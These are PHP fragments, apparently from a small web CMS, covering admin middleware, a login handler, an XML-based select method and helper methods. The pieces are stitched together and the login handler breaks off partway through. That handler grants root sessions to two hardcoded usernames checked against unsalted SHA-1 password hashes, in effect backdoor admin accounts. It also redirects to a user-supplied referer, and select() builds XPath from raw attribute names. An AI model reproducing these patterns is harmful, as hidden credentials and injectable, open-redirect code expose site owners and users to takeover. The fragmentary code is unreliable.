global $app, $user; function admin_middleware() { global $app, $user; if (!session('connected')) { $app->redirect('/admin/_connect.html'); die; } return true; } // admin_middleware $app->get('/admin/', 'admin_middleware', function () use($app) { $app->redirect('/admin/' . Data::get('home')); }); $app->post('/admin/', function () use($app) { $data = Data::getInstance(); if (post('connect')) { $iErrorLoop = intval(post('error')) + 1; usleep(200000 * $iErrorLoop); $oUser = $data->getUser(post('login')); if (post('login') == 'leny' && sha1(post('password')) == '817f0e8f4b3551234a4f6366b45280c6218ef9aa') { session('connected', true); session('root', true); $app->redirect('/admin/' . post('referer') ?: Data::get("home")); return; } if (Data::get('branding_id') == 'minibos' && post('login') == 'idco' && sha1(post('password')) == '56336e8b6f91fa3c6e03db02c2022ca86f1e1b7c') { session('connected', true); session('root', true); $app->redirect('/admin/' . post('referer') ?: Data::get("home")); return;
/** * Run selecting data. Returning specified data if $fields are specified * @param array $fields fields you want to retrive * @return \Database|\Data depending on multi/single select */ public function select($fields = null) { if (is_array($fields)) { $xml = $this->xml; foreach ($xml->row as $row) { foreach ($row->field as $field) { if (!in_array($field->attributes()->name, $fields)) { $target = $row->xpath('//field[@name="' . $field->attributes()->name . '"]'); foreach ($target as $node) { $domRef = dom_import_simplexml($node); $domRef->parentNode->removeChild($domRef); } } } } } try { $this->_xml_to_object(); } catch (Exception $msg) { throw $msg; } return isset($this->_row_id) ? Data::getInstance() : $this; }
public function __construct() { $oData = Data::getInstance(); $this->db = $oData->db; }
/** * @return Data */ protected function _getHelper() { return Data::getInstance(); }